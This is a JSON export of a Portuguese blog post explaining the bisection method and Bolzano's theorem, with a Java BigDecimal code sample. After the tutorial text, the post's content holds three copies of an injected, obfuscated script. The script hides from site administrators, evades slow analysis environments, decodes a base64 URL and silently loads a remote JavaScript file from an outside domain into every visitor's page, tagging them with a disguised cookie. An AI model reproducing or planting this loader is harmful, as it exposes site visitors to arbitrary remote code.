{"id":4091,"date":"2014-07-21T10:55:07","date_gmt":"2014-07-21T13:55:07","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4091"},"modified":"2025-10-26T22:31:57","modified_gmt":"2025-10-27T01:31:57","slug":"metodo-da-bisseccao","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2014\/07\/21\/metodo-da-bisseccao\/","title":{"rendered":"M\u00e9todo da Bissec\u00e7\u00e3o"},"content":{"rendered":"<p>Esses dias resolvi retomar o conhecimento de c\u00e1lculo num\u00e9rico que tive na faculdade. O primeiro t\u00f3pico que abordei foi os m\u00e9todos iterativos de obter zeros reais de fun\u00e7\u00f5es. Tomei como base o <a title=\"C\u00e1lculo Num\u00e9rico - Aspectos Te\u00f3ricos e Computacionais\" href=\"http:\/\/www.livrariacultura.com.br\/scripts\/resenha\/resenha.asp?nitem=61938&amp;utm_term=nome-produto&amp;utm_campaign=categoria&amp;id_link=8104&amp;utm_source=buscape&amp;utm_medium=comparadores&amp;lmdpub=7118_23084188_7035__1405636272021\">livro de C\u00e1lculo Num\u00e9rico que tive na faculdade<\/a>.<\/p>\n<p>Alguns desses m\u00e9todos utilizam o Teorema de Bolzano que \u00e9 um caso espec\u00edfico do Teorema do Valor Intermedi\u00e1rio para garantir que existe uma raiz dado um determinado intervalo e com isso desenvolvem t\u00e9cnicas para encontrar ess raiz. De maneira simplificada, o Teorema de Bolzano diz que se uma fun\u00e7\u00e3o assume valor negativo para um determinado ponto <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_0cc175b9c0f1b6a831c399e269772661.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e um valor positivo para um determinado ponto <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_92eb5ffee6ae2fec3ad71c777531578f.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> (ou vice versa, positivo pra <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_0cc175b9c0f1b6a831c399e269772661.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e negativo pra <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_92eb5ffee6ae2fec3ad71c777531578f.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>), vai existir pelo menos uma ra\u00edz entre esse intervalo se a fun\u00e7\u00e3o for cont\u00ednua. Isto \u00e9: Se <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_d03826566f5c54a7e4b482258928f7c3.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, existe raiz real. Veja a seguinte fun\u00e7\u00e3o:<a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2014\/07\/grafico.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-4104\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2014\/07\/grafico-294x300.png\" alt=\"Gr\u00e1fico\" width=\"294\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2014\/07\/grafico-294x300.png 294w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2014\/07\/grafico.png 338w\" sizes=\"auto, (max-width: 294px) 100vw, 294px\" \/><\/a><\/p>\n<p>Seja o intervalo <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_fd6e966c7ccee4cd1781a1505760df32.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, para o valor de <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_6f0e0a677391beea5dd7a4da2bf8bdbd.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_50bbd36e1fd2333108437a2ca378be62.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> assume valor negativo e para <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_64c6a879e6f91a39799cdea96b72789d.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_50bbd36e1fd2333108437a2ca378be62.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> assume valor positivo, portanto, <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_d03826566f5c54a7e4b482258928f7c3.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e pelo gr\u00e1fico podemos ver que existe um valor entre <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_c81e728d9d4c2f636f067f89cc14862c.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_eccbc87e4b5ce2fe28308fd9f2a7baf3.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> que \u00e9 ra\u00edz dessa fun\u00e7\u00e3o. Nesse exemplo a fun\u00e7\u00e3o \u00e9 <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_e1be59661f773609882893a539f19f00.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>. Aplicando valores reais: <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_52f2d5b2743b6e60317ed0fc4399052b.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_2cfb77bf95cd718e1f83093c9627197d.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, ent\u00e3o <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_d3f5d5377e979793504d431fa4c02d80.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>. Portanto, existe raiz entre <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_c81e728d9d4c2f636f067f89cc14862c.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_eccbc87e4b5ce2fe28308fd9f2a7baf3.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> para a fun\u00e7\u00e3o <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_e1be59661f773609882893a539f19f00.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>.<\/p>\n<p>Com isso em mente, nesse t\u00f3pico vamos abordar um m\u00e9todo para encontrar esse raiz: o m\u00e9todo da bissec\u00e7\u00e3o. Esse m\u00e9todo consiste em tentar achar uma raiz em um intervalo subdividindo esse intervalo em duas metades a cada itera\u00e7\u00e3o, utilizando o teorema de Bolzano para verificar em qual metade est\u00e1 a raiz at\u00e9 atingir a precis\u00e3o requerida. \u00c9 um m\u00e9todo simples, mas n\u00e3o necessariamente eficiente. Abaixo temos o c\u00f3digo para esse m\u00e9todo:<\/p>\n<pre class=\"brush: java; highlight: [4,7,13,16]; title: ; notranslate\" title=\"\">for (long k = 0; k &lt; maxIter; k++) {\n\n\t\t\t\/\/ x = (a + b)\/2\n\t\t\tBigDecimal x = a.add(b).divide(CommonValues.TWO.getValue());\n\n\t\t\t\/\/ (b - a) &lt; precision\n\t\t\tif (b.subtract(a).compareTo(precision) &lt; 0) {\n\t\t\t\t\/\/ result a or b is ok too\n\t\t\t\treturn x;\n\t\t\t}\n\n\t\t\t\/\/ m = f(a)\n\t\t\tBigDecimal m = f.evaluate(a);\n\n\t\t\t\/\/ m*f(x) &gt; 0\n\t\t\tif (m.multiply(f.evaluate(x)).compareTo(BigDecimal.ZERO) &gt; 0) {\n\t\t\t\ta = x;\n\t\t\t} else {\n\t\t\t\tb = x;\n\t\t\t}\n\t\t}<\/pre>\n<p>Dado um intervalo <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_2c3d331bc98b44e71cb2aae9edadca7e.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>, na linha 4 dividimos o nosso intervalor na metade, na linha 7 verificamos se j\u00e1 atingimos a precis\u00e3o alvo, se sim, retornamos um valor entre o intervalo <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_2c3d331bc98b44e71cb2aae9edadca7e.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> (linha 9). Caso contr\u00e1rio, aplicamos o teorema de bolzano: <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_38040f37f6a45e3d0e33b72e955996a3.gif' style='vertical-align: middle; border: none; ' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> (linha 13 e 16) para verificar se a raiz est\u00e1 entre <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_0cc175b9c0f1b6a831c399e269772661.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_9dd4e461268c8034f5c8564e155c67a6.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> ou <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_92eb5ffee6ae2fec3ad71c777531578f.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_9dd4e461268c8034f5c8564e155c67a6.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script>. Mudamos o intervalo de acordo com essa condi\u00e7\u00e3o (linha 17 ou 19) e continuamos nesse loop (linha 1), at\u00e9 atingir a precis\u00e3o correta (linha 7) ou at\u00e9 um determinado n\u00famero de itera\u00e7\u00f5es (linha 1).<\/p>\n<p>Como esse m\u00e9todo \u00e9 simples e previs\u00edvel (sempre divis\u00f5es ao meio) fica f\u00e1cil calcular o n\u00famero de itera\u00e7\u00f5es necess\u00e1rias para ele encontrar a raiz dada uma precis\u00e3o:<\/p>\n<p><code><p style='text-align:center;'><span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_e1687c1b63d4046ab39c376d4d5e211b.gif' style='vertical-align: middle; border: none;' class='tex' alt=\"\" \/><\/span><script type='math\/tex;  mode=display'><\/script><\/p><\/code><\/p>\n<p>Onde <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_8ce4b16b22b58894aa86c421e8759df3.gif' style='vertical-align: middle; border: none; padding-bottom:1px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> \u00e9 o n\u00famero de itera\u00e7\u00f5es e <span class='MathJax_Preview'><img src='https:\/\/thiagovespa.com.br\/blog\/wp-content\/plugins\/latex\/cache\/tex_f8b1c5a729a09649c275fca88976d8dd.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=\"\" \/><\/span><script type='math\/tex'><\/script> \u00e9 a precis\u00e3o desejada. O c\u00f3digo para esse m\u00e9todo e exemplos de execu\u00e7\u00e3o encontram-se nos seguintes endere\u00e7os: <a title=\"Github Math Utils\" href=\"https:\/\/github.com\/thiagovespa\/gvlabs-math-utils\" target=\"_blank\" rel=\"noopener\">Github<\/a> e <a title=\"Google Code Math Utils\" href=\"https:\/\/code.google.com\/p\/gvlabs-math-utils\/\" target=\"_blank\" rel=\"noopener\">Google Code<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esses dias resolvi retomar o conhecimento de c\u00e1lculo num\u00e9rico que tive na faculdade. O primeiro t\u00f3pico que abordei foi os m\u00e9todos iterativos de obter zeros reais de fun\u00e7\u00f5es. Tomei como base o livro de C\u00e1lculo Num\u00e9rico que tive na faculdade. <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2014\/07\/21\/metodo-da-bisseccao\/\">Continue lendo  <span class=\"screen-reader-text\">  M\u00e9todo da Bissec\u00e7\u00e3o<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4091","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4091","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4091"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4091\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4091"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4091"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4091"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}